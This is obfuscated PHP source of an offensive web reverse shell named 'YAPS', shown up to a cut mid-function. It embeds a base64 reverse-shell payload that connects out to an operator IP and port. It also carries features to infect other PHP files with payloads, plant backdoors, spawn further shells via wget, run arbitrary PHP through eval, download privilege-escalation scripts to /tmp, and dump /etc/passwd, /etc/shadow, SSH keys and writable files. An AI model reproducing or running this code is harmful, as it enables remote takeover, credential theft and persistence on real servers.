"JHNjcmlwdD1zaGVsbF9leGVjKCJ3aGljaCBzY3JpcHQiKTskcHkzPXNoZWxsX2V4ZWMoIndoaWNoIHB5dGhvbjMiKTskcHk9c2hlbGxfZXhlYygid2hpY2ggcHl0aG9uIik7aWYoc3RybGVuKCRzY3JpcHQpPjYgJiYgc3RycG9zKCRzY3JpcHQsIm5vdCBmb3VuZCIpPT1mYWxzZSkgJHN0YWJpbGl6ZXI9Ii9iaW4vYmFzaCAtY2kgJyIuJHNjcmlwdC4iIC1xYyAvYmluL2Jhc2ggL2Rldi9udWxsJyI7ZWxzZSBpZihzdHJsZW4oJHB5Myk+NyAmJiBzdHJwb3MoJHNjcmlwdCwibm90IGZvdW5kIik9PWZhbHNlKSAkc3RhYmlsaXplcj0kcHkzLiIgLWMgJ2ltcG9ydCBwdHk7cHR5LnNwYXduKFwiL2Jpbi9iYXNoXCIpJyI7ZWxzZSBpZihzdHJsZW4oJHB5KT42ICYmIHN0cnBvcygkc2NyaXB0LCJub3QgZm91bmQiKT09ZmFsc2UpICRzdGFiaWxpemVyPSRweS4iIC1jICdpbXBvcnQgcHR5O3B0eS5zcGF3bihcIi9iaW4vYmFzaFwiKSciO2Vsc2UgJHN0YWJpbGl6ZXI9Ii9iaW4vYmFzaCI7JHN0YWJpbGl6ZXI9c3RyX3JlcGxhY2UoIlxuIiwiIiwkc3RhYmlsaXplcik7JHNoZWxsPSJ1bmFtZSAtYTskc3RhYmlsaXplciI7dW1hc2soMCk7JHNvY2s9ZnNvY2tvcGVuKCJJUF9BRERSIixQT1JULCRlcnJubywkZXJyc3RyLDMwKTskc3RkPWFycmF5KCAwID0+IGFycmF5KCJwaXBlIiwiciIpLDEgPT4gYXJyYXkoInBpcGUiLCJ3IiksMiA9PiBhcnJheSgicGlwZSIsInciKSApOyRwcm9jZXNzPXByb2Nfb3Blbigkc2hlbGwsJHN0ZCwkcGlwZXMpO2ZvcmVhY2goJHBpcGVzIGFzICRwKSBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwLDApO3N0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssMCk7d2hpbGUoIWZlb2YoJHNvY2spKXskcmVhZF9hPWFycmF5KCRzb2NrLCRwaXBlc1sxXSwkcGlwZXNbMl0pO2lmKGluX2FycmF5KCRzb2NrLCRyZWFkX2EpKSBmd3JpdGUoJHBpcGVzWzBdLGZyZWFkKCRzb2NrLDIwNDgpKTtpZihpbl9hcnJheSgkcGlwZXNbMV0sJHJlYWRfYSkpIGZ3cml0ZSgkc29jayxmcmVhZCgkcGlwZXNbMV0sMjA0OCkpO2lmKGluX2FycmF5KCRwaXBlc1syXSwkcmVhZF9hKSkgZndyaXRlKCRzb2NrLGZyZWFkKCRwaXBlc1syXSwyMDQ4KSk7fSBmY2xvc2UoJHNvY2spO2ZvcmVhY2goJHBpcGVzIGFzICRwKSBmY2xvc2UoJHApO3Byb2NfY2xvc2UoJHByb2Nlc3MpOw=="; goto iBjEt; WahCT: rroj3("timeout --kill-after 0 1 wget --post-data="x={$cQPaX}:{$kiHut}&stabilize=1" {$j6vks} > /dev/null"); goto NH0_w; EOGwp: if (!(WkZam("popen") && wKzam("pclose"))) { goto UYCWV; } goto nefo1; iBjEt: if (!(strlen($G8_xz) > 1 && strlen($G8_xz) > 0)) { goto z9IrO; } goto XTEJP; o5TrN: global $uhabo, $rpc4Z, $cQPaX; goto VHVry; XTEJP: echo $G8_xz; goto a99VH; BX39_: $f0FyI = base64_encode(str_replace("IP_ADDR", $cQPaX, str_replace("PORT", $kiHut, base64_decode($bdStf)))); goto xCmNS; OT6x5: $f0FyI = base64_encode(str_replace("IP_ADDR", $zm0Nr, str_replace("PORT", $V45D_, base64_decode($bdStf)))); goto hMT3W; Adm71: fwrite($uhabo, yuAt6("[i]") . " Set up a listener on another port (nc -lnvp <port>) and press ENTER.\xaChoose a port: "); goto M1vHT; OKNdZ: goto uo4Qf; goto zOoqK; xCmNS: fwrite($uhabo, yuAT6("[i]") . " Trying to connect to {$cQPaX}:{$kiHut}
"); goto EOGwp; oOc9r: fwrite($uhabo, aWT6z("[-]") . " Port must be between 0-65535.\xaChoose another port: "); goto k0K4s; a99VH: $sC5i_ = explode(":", $G8_xz); goto R7UWI; OnBfH: } goto iEi9A; tdw0o: $rpc4Z = $sC5i_[1]; goto UAOKw; vPOdm: function nVAMW() { goto yJdA2; op8NZ: if (chmod("/tmp/" . $bUs__, 777)) { goto vfrei; } goto YIsIA; a2kPR: if (chmod("/tmp/" . $va0kp, 777)) { goto XOmq2; } goto voLNX; lbZbw: j3OQc: goto MDt9F; HPoG8: lby7Y: goto iTe0o; t01aL: fwrite($uhabo, F3ve0("[+] Linenum saved to /tmp/" . $bUs__) . n9iLw("\xa[i] Changing permissions...
")); goto op8NZ; YIsIA: fwrite($uhabo, YuaT6("[!]") . " Couldn't change permissions...
[i] File was saved in " . yUAt6("/tmp/" . $bUs__ . "
")); goto vwqZ4; EzAlb: fwrite($uhabo, F3Ve0("[+]") . " Linpeas saved to /tmp/" . $va0kp . N9ILW("\xa[i] Changing permissions...
")); goto a2kPR; vwqZ4: goto j3OQc; goto cKMF3; QsDq5: fwrite($uhabo, F3ve0("[+]") . " Permissions changed! \xa[i] You can run it with " . YuAT6("sh /tmp/" . $va0kp . " | tee /tmp/linpeas.log\xa\xa")); goto pOlc0; cKMF3: vfrei: goto gRtH7; voLNX: fwrite($uhabo, yuat6("[!]") . " Couldn't change permissions...
[i] File was saved in " . YuAT6("/tmp/" . $va0kp . "\xa\xa")); goto s5JPl; Tb6Kc: $va0kp = E3iK9($xMbBb["linpeas"], "/tmp/"); goto EaNSu; wZpFr: if (!$va0kp) { goto lby7Y; } goto EzAlb; vUPqw: XOmq2: goto QsDq5; MDt9F: ehNAH: goto QD_4K; yJdA2: global $uhabo, $xMbBb; goto Tb6Kc; EaNSu: $bUs__ = e3ik9($xMbBb["linenum"], "/tmp"); goto wZpFr; s5JPl: goto NZsuM; goto vUPqw; iTe0o: if (!$bUs__) { goto ehNAH; } goto t01aL; gRtH7: fwrite($uhabo, F3vE0("[+]") . " Permissions changed!
[i] You can run it with " . yUAt6("sh /tmp/" . $bUs__ . " | tee /tmp/linenum.log\xa")); goto lbZbw; pOlc0: NZsuM: goto HPoG8; QD_4K: } goto FjG6i; ZrUAL: goto buOLW; goto raSj4; njpLv: goto zWlXh; goto l49dA; iREwo: KQYCU($RKYHn); goto tSd1g; XCqu3: function d_OdR($kW0w8 = '') { goto XbokL; yOFMT: return $kW0w8; goto N4bDr; H0kvs: $kW0w8 .= $G8Qti[mt_rand(0, strlen($G8Qti) - 1)]; goto N0ILM; vBNWA: if (!($WV7Df <= mt_rand(5, 6))) { goto mhr6M; } goto H0kvs; yHIAn: I8UPn: goto vBNWA; bBe3S: mhr6M: goto yOFMT; i4LLv: $WV7Df++; goto Djq3o; XbokL: $G8Qti = implode('', array_merge(range("A", "Z"), range("a", "z"), range(0, 9))); goto ljHlN; ljHlN: $WV7Df = 0; goto yHIAn; Djq3o: goto I8UPn; goto bBe3S; N0ILM: PlZBK: goto i4LLv; N4bDr: } goto MOKoI; QnfQm: function GZwtE($y_O68 = false) { goto HiP1z; aj9Qi: FZGbi: goto rm0K5; HiP1z: global $u1E3o, $cUxHT; goto UQzLA; ObAtc: $cUxHT = oIpIr("[YAPS] ") . str_replace(PHP_EOL, '', f3VE0($uqQWs . "@" . rrOJ3("hostname")) . ":" . n9ilW(rROJ3("pwd")) . "$ "); goto ZpGWa; UQzLA: $uqQWs = str_replace(PHP_EOL, '', rroJ3("whoami")); goto nrSsY; tlSwj: X30Bd: goto lZtm8; iZDr0: $cUxHT = oIpIR("[YAPS] ") . str_replace(PHP_EOL, '', $uqQWs . "@" . rrOj3("hostname") . ":" . rroJ3("pwd") . "# "); goto TdK74; PCwRh: $u1E3o = true; goto NHE9Q; kRoDh: $u1E3o = false; goto aj9Qi; y9w8m: if (!$y_O68) { goto FZGbi; } goto kRoDh; NHE9Q: BWQGw: goto tlSwj; rm0K5: goto X30Bd; goto rieYZ; Hc961: nwYYO: goto eF9Az; pY15G: if (!($uqQWs == "root")) { goto y2JAe; } goto iZDr0; TdK74: y2JAe: goto y9w8m; eF9Az: if (!$y_O68) { goto BWQGw; } goto PCwRh; ZpGWa: if (!($uqQWs == "root")) { goto nwYYO; } goto adrie; rieYZ: E247E: goto ObAtc; nrSsY: if (!$u1E3o) { goto E247E; } goto MjPBz; MjPBz: $cUxHT = oipIr("[YAPS] ") . str_replace(PHP_EOL, '', $uqQWs . "@" . RROJ3("hostname") . ":" . rRoj3("pwd") . "$ "); goto pY15G; adrie: $cUxHT = oiPIR("[YAPS] ") . str_replace(PHP_EOL, '', awT6z($uqQWs . "@" . rroj3("hostname")) . ":" . n9IlW(rrOJ3("pwd")) . "# "); goto Hc961; lZtm8: } goto B8toS; xePMo: function wKZAm($YCJCC) { goto QFG2F; Tkck2: JosJw: goto B9bdO; cQ5YQ: DTXaz: goto gKbBc; X_psm: UWqmX: goto vr46W; QFG2F: $D9msU = ini_get("disable_functions"); goto kdoTc; vr46W: return false; goto Ln5LU; sFuEb: goto DTXaz; goto Tkck2; H0laZ: $D9msU = array(); goto sFuEb; eY96J: return true; goto X_psm; kdoTc: if (!empty($D9msU)) { goto JosJw; } goto H0laZ; cFOMe: $D9msU = explode(",", $D9msU); goto jSnU7; B9bdO: $D9msU = preg_replace("/[, ]+/", ",", $D9msU); goto cFOMe; gKbBc: if (!(is_callable($YCJCC) and !in_array($YCJCC, $D9msU))) { goto UWqmX; } goto eY96J; jSnU7: $D9msU = array_map("trim", $D9msU); goto cQ5YQ; Ln5LU: } goto iSjTR; gLJIQ: $dOYbr = "f00945860424fa6148e329772c08e7d05d7fab6f69a4722b4c66c164acdb018ecc0cbc62060cc67e7ae962c65ab5967620622cc12206627229b94106b66db6b8"; goto qq04D; LaeAp: $XHy50 = n9Ilw("\xa o o O o--o o-o
\ / / \ | ) (
O o---o O--o o-o\xa | | | | )
o o o o o--o\xa Yet Another PHP Shell") . "
Version " . $xebfD . "\xa Coder: Nicholas Ferreira"; goto k4_PD; rOjHT: ini_set("max_execution_time", 0); goto BmdWU; qgQIQ: $JdZ3h = getopt($rgl2_, $WoC0p); goto ZkRG8; yoo3n: die(H2S1z()); goto YrBUH; qq04D: $HgTE6 = false; goto pjNJ3; ErU9M: die("baguvix"); goto xJh_6; dGYVi: rMZiE: goto RPoRC; Hqgam: function jNTAG() { goto FSc_b; XQoea: XpVQk: goto g8n3v; VWzmn: r_dMQ: goto rh2SP; OZPl5: $o19Sz = array("nc", "nc.traditional", "ncat", "nmap", "perl", "python", "python2", "python2.6", "python2.7", "python3", "python3.6", "python3.7", "ruby", "node", "gcc", "g++", "docker", "php"); goto g9YJt; UtXuh: fwrite($uhabo, F3vE0("====================== Users info ======================
\xa")); goto yVd5F; FYFP3: $pQ1eO .= N9ilw("[i] Interfaces/routes: \xa") . RROj3("cat /etc/networks && route") . PHP_EOL; goto eah73; Q8oMn: fwrite($uhabo, F3VE0("
====================== SUID binaries ======================
\xa")); goto qMVD5; vhyj0: fwrite($uhabo, n9ilw("\xa[i]") . " Get more information with !enum." . PHP_EOL); goto kt0mz; eah73: $pQ1eO .= N9ilW("[i] IP Tables rules: \xa") . rroJ3("(iptables --list-rules 2>/dev/null)") . PHP_EOL; goto sqjSa; sQ3SG: goto DFi3V; goto kgkSs; WckxW: foreach ($DjMSp as $WAWAi) { goto kYU3w; W46ns: ndgOH: goto DIbp3; GKxmv: fwrite($uhabo, AWt6z("[Writable] ") . $WAWAi . PHP_EOL); goto W46ns; DIbp3: AhYYZ: goto BCVl9; kYU3w: if (!($WAWAi !== '')) { goto ndgOH; } goto GKxmv; BCVl9: } goto XQoea; zha1g: Q0DXC: goto q4ank; dPpZV: fwrite($uhabo, $pQ1eO); goto eGt2l; LG4TW: fwrite($uhabo, $pQ1eO); goto UtXuh; VOshO: $nuAkD = array("/var/www", "/srv", "/usr/local/apache2", "/var/apache2", "/var/www/nginx-default"); goto Gq3Ng; kOHgk: fwrite($uhabo, f3vE0("\xa====================== SSH files ======================
\xa")); goto Eybew; FSc_b: global $uhabo; goto fsqyI; HpPDZ: $pQ1eO .= N9iLW("[i] Crontab of current user: \xa") . Rroj3("crontab -l | egrep -v '^#'") . PHP_EOL; goto iSy3n; qECcV: sZULW: goto c1djQ; Uzmqe: $pQ1eO = n9ILw("[i] OS info:\xa") . RRoJ3("lsb_release -a | grep -v 'No LSB'") . PHP_EOL; goto U8Xe3; sqjSa: $pQ1eO .= N9iLw("[i] Active ports: \xa") . RrOJ3("(netstat -punta) 2>/dev/null") . PHP_EOL; goto QnQnt; B78Fs: if (!($WV7Df < 25)) { goto p7sdg; } goto Z47mV; fsqyI: fwrite($uhabo, F3VE0("\xa====================== Initial info ======================\xa
")); goto Uzmqe; KEWlk: $pQ1eO .= n9ilw("[i] User/groups: ") . RRoJ3("id") . PHP_EOL; goto kOU1F; g7A05: fwrite($uhabo, F3Ve0("====================== Net info ======================\xa
")); goto APiWX; sPf7G: eHvsG: goto F3P5Y; MxT_U: $WV7Df++; goto sQ3SG; g9YJt: foreach ($o19Sz as $CEse5) { goto rakGJ; PXyYc: G3693: goto SC1uP; P8oXg: if (!($CEse5 !== '' && base64_encode($CEse5 . PHP_EOL) !== "Cg==")) { goto G3693; } goto dVf6b; dVf6b: fwrite($uhabo, RRoj3("ls -l {$CEse5}")); goto PXyYc; rakGJ: $CEse5 = shell_exec("which {$CEse5} 2>/dev/null"); goto P8oXg; SC1uP: HT6Uh: goto lcsn4; lcsn4: } goto VgM80; kgkSs: p7sdg: goto fN0gV; fN0gV: fwrite($uhabo, "...
..." . PHP_EOL); goto ArVbH; hmP78: foreach ($W1Oan as $MCi8k) { goto pEvEL; tf6QC: fwrite($uhabo, aWT6z("[Writable] ") . $MCi8k . PHP_EOL); goto RhPeL; pEvEL: if (is_writable($MCi8k)) { goto nNtS1; } goto SZrjy; XBmM9: nNtS1: goto tf6QC; DnDjl: goto ayOJu; goto XBmM9; TFAgV: PmI2O: goto VWIGc; RhPeL: ayOJu: goto TFAgV; SZrjy: fwrite($uhabo, $MCi8k . PHP_EOL); goto DnDjl; VWIGc: } goto qECcV; UMRuV: $pQ1eO .= n9ILw("[i] Users in /home: \xa") . rrOj3("ls /home") . PHP_EOL; goto HpPDZ; qMVD5: $vsdgM = explode("\xa", shell_exec("find / -type f -perm /4000 2>/dev/null")); goto Vdesd; PsR4U: $pQ1eO .= N9iLw("[i] Kernel: ") . RROj3("uname -a"); goto rGMBD; VgM80: FQsAh: goto Q8oMn; uHFHe: fwrite($uhabo, RrOJ3("cat /etc/passwd") . PHP_EOL); goto kcDAQ; rh2SP: TV2QF: goto MxT_U; mL7ib: $pQ1eO .= n9iLW("[i] Sudo version: ") . RrOj3("sudo --version | grep 'Sudo version' | cut -d' ' -f 3"); goto KEWlk; g8n3v: goto Q9zeu; goto LBnzM; BW0N6: $pQ1eO .= N9iLw("[i] RAM:
") . RroJ3("cat /proc/meminfo | egrep -i '(memtotal|memfree)'"); goto mL7ib; APiWX: $pQ1eO = N9ilW("[i] IP Info:
") . rROJ3("ifconfig") . PHP_EOL; goto zPaKw; kcDAQ: if (!is_readable("/etc/shadow")) { goto UIUfV; } goto W6484; ei6eM: Q9zeu: goto vhyj0; rGMBD: $pQ1eO .= N9Ilw("[i] CPU:
") . RrOJ3("cat /proc/cpuinfo | grep -i 'model name' | cut -d':' -f 2 | sed 's/^ *//g'"); goto BW0N6; Vdesd: foreach ($vsdgM as $kyNrO) { goto mCZVO; mCZVO: if (!($kyNrO !== '')) { goto nwVte; } goto eKJGM; eKJGM: fwrite($uhabo, rROj3("ls -l {$kyNrO}")); goto Sq4qb; Sq4qb: nwVte: goto bgogj; bgogj: JOfYr: goto fAaDV; fAaDV: } goto Nwmf2; kOU1F: $pQ1eO .= n9Ilw("[i] Active TTY:
") . rroj3("w") . PHP_EOL; goto LG4TW; Z47mV: if (!($DjMSp[$WV7Df] !== '')) { goto r_dMQ; } goto EN9pV; W6484: fwrite($uhabo, AWT6z("[!] /etc/shadow is readable!\xa") . rroJ3("cat /etc/shadow") . PHP_EOL); goto ts_bl; EN9pV: fwrite($uhabo, AWt6z("[Writable] ") . $DjMSp[$WV7Df] . PHP_EOL); goto VWzmn; zPaKw: $pQ1eO .= n9ILW("[i] Hosts:
") . RRoj3("cat /etc/hosts | grep -v '^#'") . PHP_EOL; goto FYFP3; eGt2l: fwrite($uhabo, F3ve0("====================== All users ======================
")); goto uHFHe; r6u1e: $WV7Df = 0; goto vidEF; vidEF: DFi3V: goto B78Fs; U8Xe3: $pQ1eO .= N9Ilw("[i] Hostname: ") . RrOJ3("hostname"); goto PsR4U; QnQnt: fwrite($uhabo, $pQ1eO); goto LlN7D; ArVbH: fwrite($uhabo, f3Ve0("[+] ") . "Showing only the first 25 files. There are more!" . PHP_EOL); goto ei6eM; LBnzM: OXV3H: goto r6u1e; iSy3n: $pQ1eO .= N9IlW("[i] Crontab: \xa") . rrOj3("cat /etc/crontab | egrep -v '^#'") . PHP_EOL; goto dPpZV; F3P5Y: fwrite($uhabo, f3VE0("
=================== Writable PHP files ===================
\xa")); goto oxbfA; Nwmf2: fIfLB: goto kOHgk; yVd5F: $pQ1eO = N9iLw("[i] Current user: ") . Rroj3("whoami"); goto UMRuV; Eybew: $W1Oan = explode("\xa", shell_exec("find / -type f -name authorized_keys 2>/dev/null")); goto hmP78; oxbfA: $DjMSp = array(); goto VOshO; ts_bl: UIUfV: goto g7A05; c1djQ: $kPvBX = explode("\xa", shell_exec("find / -type f -name id_rsa 2>/dev/null")); goto MKBPG; LlN7D: fwrite($uhabo, F3Ve0("====================== Interesting binaries ======================
")); goto OZPl5; q4ank: if (count($DjMSp) > 25) { goto OXV3H; } goto WckxW; Gq3Ng: foreach ($nuAkD as $olpJM) { $DjMSp = array_merge($DjMSp, explode("\xa", shell_exec("find " . $olpJM . " -type f -name '*.php*' -writable 2>/dev/null"))); hwjVx: } goto zha1g; MKBPG: foreach ($kPvBX as $EmVlG) { goto o3gc7; sRr63: goto f8Xin; goto c7AhQ; iyLdH: f8Xin: goto Hh2Sf; Hh2Sf: VqO5C: goto sf0SN; SnwVc: fwrite($uhabo, $EmVlG . PHP_EOL); goto sRr63; c7AhQ: aONCJ: goto YqTh8; o3gc7: if (is_readable($EmVlG)) { goto aONCJ; } goto SnwVc; YqTh8: fwrite($uhabo, AwT6Z("[Readable] ") . $EmVlG . PHP_EOL); goto iyLdH; sf0SN: } goto sPf7G; kt0mz: } goto XCqu3; RJvRn: Nw4Dk: goto njpLv; hMjzI: $uhabo = @fsockopen("tcp://{$cQPaX}", $rpc4Z); goto WHA4F; IYlYs: $rpc4Z = $argv[$argc - 1]; goto JP9gn; s0m14: function awt6z($GXImm) { global $vIiwX; return $vIiwX ? "\33[91m" . $GXImm . "\x1b[0m" : $GXImm; } goto iX619; qts3A: $M2vrL = $_SERVER["SCRIPT_FILENAME"]; goto uVx85; MOKoI: function E3iK9($FGeFq, $kQ3jq) { goto Br6ZT; IAEGK: if (!WkzAM("file_put_contents")) { goto SX0Y2; } goto CKmPi; zbGid: $jPo3C = Nk5x0($FGeFq); goto IAEGK; zo2lb: NDZJ6: goto R44g5; sov5n: d_8WL: goto mVPJS; AqAHr: fclose($dJ6pT); goto fg9QC; x5itf: return $c0G2l; goto sov5n; Br6ZT: $c0G2l = d_oDR(); goto zbGid; xa68_: if (!fwrite($dJ6pT, $jPo3C)) { goto s141q; } goto AqAHr; WNz62: $dJ6pT = fopen($kQ3jq . "/" . $c0G2l, "w"); goto xa68_; kBXay: s141q: goto zo2lb; mVPJS: SX0Y2: goto Jq4jT; R44g5: return false; goto aGQzX; fg9QC: return $c0G2l; goto kBXay; CKmPi: if (!file_put_contents($kQ3jq . "/" . $c0G2l, $jPo3C)) { goto d_8WL; } goto x5itf; Jq4jT: if (!(wkZAm("fopen") && WkZam("fwrite") && wKZAm("fclose"))) { goto NDZJ6; } goto WNz62; aGQzX: } goto vPOdm; eHwdO: function UNk5v($kRaqY) { goto Geo4M; t539Z: JuTch: goto gchCq; xMMqM: switch (substr($kRaqY, 0, -1)) { case "!all-colors": $vIiwX = !$vIiwX; goto JuTch; case "!info": return jNtAG(); goto JuTch; case "!enum": return nVAmw(); goto JuTch; case "!suggester": return jxhb5(); goto JuTch; case "!color": GZwte(true); goto JuTch; case "!help": return ue3r5(); goto JuTch; case "!php": goto wasJe; We0j8: LBqLE: goto KnziR; wasJe: $a6dBR = s4rG1(); goto akKe8; C01ql: fwrite($uhabo, yuAt6("[i] Code canceled.") . PHP_EOL); goto Rvkhk; Un2gY: ZRJeQ: goto ySuOW; Rvkhk: goto ZRJeQ; goto We0j8; akKe8: if ($a6dBR !== 0) { goto LBqLE; } goto C01ql; KnziR: $lnLRa = Qa3zJ($a6dBR); goto ajhGD; ySuOW: goto JuTch; goto mSnAu; ajhGD: fwrite($uhabo, $lnLRa); goto Un2gY; mSnAu: case "!stabilize": KqYcu(); goto JuTch; case "!backdoor": avOfn(); goto JuTch; case "!passwd": Dzqb4(); goto JuTch; case "!duplicate": rMfJw(); goto JuTch; case "!infect": tgemZ(); goto JuTch; } goto GAc52; GAc52: n81KA: goto t539Z; Geo4M: global $uhabo, $vIiwX; goto xMMqM; gchCq: } goto yx13G; XB1yM: function qa3Zj($vFg21) { try { goto XwVxE; oHKel: $lnLRa = ob_get_contents(); goto dvLEG; XwVxE: ob_start(); goto Wl98c; Wl98c: eval($vFg21); goto oHKel; dvLEG: ob_end_clean(); goto oimL3; oimL3: } catch (Throwable $ydfVX) { $eSaQP = explode("Stack trace:", $ydfVX); $lnLRa = $eSaQP[0]; } return $lnLRa; } goto geBy7; q6PSH: $sC5i_ = explode(":", $_POST["x"]); goto ZKUbC; mcfgK: function RMFJw() { goto zso19; UNLc2: KquvS: goto TG8QO; jiYb5: goto E0GHE; goto qsopi; c3UeR: fwrite($uhabo, "Connecting to " . $cQPaX . ":" . $JPpPq . "\xa"); goto u_jzg; s8cgw: cP5Tk: goto wQE9G; saQms: $j6vks = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto lFLD8; PuKa1: uaZgt: goto h98Wp; A8Zte: OIoKc: goto LK0r4; or0QC: fwrite($uhabo, yUAt6("[-] ") . "Couldn't find YAPS URL. Did you run me via command line?\xaPlease provide the correct YAPS URL (example.com/files/yaps.php): "); goto PuKa1; wAbD4: goto gRbze; goto s8cgw; zso19: global $uhabo, $cQPaX, $rpc4Z, $_SERVER; goto yR3iH; qsopi: AvkYo: goto or0QC; oWs1e: $rxU9o = array("x" => $cQPaX . ":" . $JPpPq); goto c3UeR; VWyJN: if (!($JPpPq = fread($uhabo, 32))) { goto cP5Tk; } goto yEE7T; vQVjM: xxvQE: goto Qkrvd; AyrRR: return fwrite($uhabo, aWT6z("[-] ") . "Couldn't validade YAPS URL. Is this the correct URL?
"); goto UNLc2; PDhmg: goto OIoKc; goto vQVjM; u_jzg: $CLARD = "wget -qO- --post-data="" . http_build_query($rxU9o) . "" {$j6vks} > /dev/null"; goto pamWy; TG8QO: goto sVsjb; goto Beb2t; DvMmI: rRoj3("timeout --kill-after 0 1 " . $CLARD); goto PDhmg; pamWy: if (WKZam("popen") && wkzAm("pclose")) { goto xxvQE; } goto DvMmI; fFmaS: gRbze: goto VWyJN; h98Wp: if (!($MNKsJ = fread($uhabo, 256))) { goto sVsjb; } goto GSweb; Qkrvd: pclose(popen($CLARD . " &", "r")); goto A8Zte; lFLD8: echo $j6vks; goto jiYb5; yEE7T: $JPpPq = base64_encode($JPpPq) == "Cg==" ? $rpc4Z : substr($JPpPq, 0, -1); goto oWs1e; D78KU: fwrite($uhabo, N9IlW("[*] ") . "Choose a port to listen (default: {$rpc4Z}): "); goto fFmaS; GSweb: if (!(NK5X0(preg_replace("/
/", '', $MNKsJ . "?vrfy")) !== "baguvix")) { goto KquvS; } goto AyrRR; SFAow: E0GHE: goto D78KU; Beb2t: goto uaZgt; goto m3w3a; eA65X: $j6vks = $MNKsJ; goto SFAow; yR3iH: if (!isset($_SERVER["REQUEST_SCHEME"]) || !isset($_SERVER["HTTP_HOST"]) || !isset($_SERVER["REQUEST_URI"])) { goto AvkYo; } goto saQms; m3w3a: sVsjb: goto eA65X; LK0r4: return; goto wAbD4; wQE9G: } goto DdGcE; iSjTR: function UE3r5() { $uYN8_ = "\xa" . F3Ve0("Useful commands:") . "
" . n9Ilw("!help") . "
\x9Display this menu
" . n9ilw("!all-colors") . "
Toggle all colors (locally only)\xa " . n9iLw("!color") . "\xa Toggle $PS1 color (locally only)
" . n9ilw("!duplicate") . "
Spawn another reverse shell
" . N9ilw("!enum") . "\xa Download Linpeas and Linenum to /tmp and get it ready to run
" . N9ilW("!infect") . "
Inject payloads into PHP files\xa " . n9iLw("!info") . "\xa \x9List information about target
" . N9ilW("!passwd") . "\xa Show options for password \xa " . n9ilW("!php") . "
\x9Write and run PHP code on the remote host
" . N9ilw("!stabilize") . "\xa Stabilize to an interactive shell\xa " . n9IlW("!suggester") . "
\x9Download Linux Exploit Suggester to /tmp and get it ready to run
\xa" . F3VE0("Command line options:") . "\xa " . oipir("$ php yaps.php [--update|-u]") . "
Check if YAPS is up to date\xa " . oipIR("$ php yaps.php ip port") . "\xa Connect to ip:port
"; return $uYN8_; } goto pr3GV; uBNhu: function dzqB4() { goto HTNuX; ms3UG: if (!($bVUhe = fread($uhabo, 8))) { goto JJa3p; } goto GwUtJ; bdiWB: fwrite($uhabo, aWt6z("[-] ") . " Wrong password\xa"); goto CHnQL; x8HE7: QdZQm: goto JzzC5; rgl8V: COO5K: goto B1qS0; N0CMV: goto vQy1o; goto P4LEg; feiTM: vQy1o: goto ms3UG; B5r0W: fwrite($uhabo, f3Ve0("[+] Password is enabled. ") . OIpir("Choose an option:") . "
[1] Change password
[2] Disable password
[3] Cancel\xa> "); goto pjlru; jSqdF: if (!($bVUhe = fread($uhabo, 8))) { goto wFlH8; } goto Vgh30; B1qS0: goto iCi1X; goto Q4Dtm; pjlru: iCi1X: goto jSqdF; P4LEg: JJa3p: goto ISxBu; Q4Dtm: wFlH8: goto PvAp1; ktnRq: if ($GxCAX) { goto Z_2Ex; } goto jumoM; Yp1zG: if (OsfEM()) { goto JmLfm; } goto bdiWB; K5Y3x: Z_2Ex: goto Yp1zG; CHnQL: return; goto geb0f; geb0f: JmLfm: goto B5r0W; JzzC5: Q751U: goto N0CMV; ISxBu: goto hNKLx; goto K5Y3x; PvAp1: hNKLx: goto nVeHg; GwUtJ: switch (substr($bVUhe, 0, -1)) { case "1": goto jyEdh; RZqF4: return; goto tFyvS; r4_Hz: goto Q751U; goto Fxv8v; LwZGH: nOIr0: goto r4_Hz; tFyvS: goto br8v4; goto LwZGH; Kxfy_: br8v4: goto scVo5; akaL7: $yZQNF = substr($zXjQF, 0, -1); goto GJjg2; jyEdh: fwrite($uhabo, n9Ilw("[*] ") . "Choose the new password: "); goto Kxfy_; scVo5: if (!($zXjQF = fread($uhabo, 1024))) { goto nOIr0; } goto akaL7; GJjg2: Q3dL6($yZQNF); goto RZqF4; Fxv8v: case "2": goto lnyyB; lK0xZ: goto Q751U; goto lD0mv; xAEuJ: return; goto lK0xZ; lnyyB: KbrwN(); goto xAEuJ; lD0mv: default: goto EuFJy; LBVn8: goto Q751U; goto ndIcb; EuFJy: fwrite($uhabo, n9ILW("[*] ") . "Canceled.\xa"); goto KKuBc; KKuBc: return; goto LBVn8; ndIcb: } goto x8HE7; GVqeL: TyU8c: goto rgl8V; jumoM: fwrite($uhabo, yuAT6("[!] Password is disabled. ") . oIPIr("Choose an option:") . "
[1] Set a password\xa[2] Enable password
[3] Cancel
> "); goto feiTM; HTNuX: global $uhabo, $GxCAX; goto ktnRq; Vgh30: switch (substr($bVUhe, 0, -1)) { case "1": goto RnYqp; nI6hF: SUU2a: goto CeGJj; CeGJj: goto COO5K; goto kSjMv; Vq_EH: v1Sy7: goto xrxP9; FBRZh: goto v1Sy7; goto nI6hF; RnYqp: fwrite($uhabo, N9iLW("[*] ") . "Choose the new password: "); goto Vq_EH; OkvTv: $yZQNF = substr($zXjQF, 0, -1); goto krRbM; EsOOF: return; goto FBRZh; krRbM: q3dl6($yZQNF); goto EsOOF; xrxP9: if (!($zXjQF = fread($uhabo, 1024))) { goto SUU2a; } goto OkvTv; kSjMv: case "2": goto EwXfS; EwXfS: KbRWN(); goto o5_nP; o5_nP: return; goto Ayara; Ayara: goto COO5K; goto dgAry; dgAry: default: goto UmDPE; fEwui: goto COO5K; goto rY59U; UmDPE: fwrite($uhabo, n9ilW("[*] ") . "Canceled.
"); goto tCwP2; tCwP2: return; goto fEwui; rY59U: } goto GVqeL; nVeHg: } goto mcfgK; v31ws: if (!isset($_GET["vrfy"])) { goto SL9cF; } goto ErU9M; Cm_e7: function OSfem() { goto BFmPb; hJDpk: goto MBTIG; goto ZGeH5; j6_sE: MBTIG: goto xbqTV; RS25B: fwrite($uhabo, Yuat6("[i] ") . "This shell is protected.
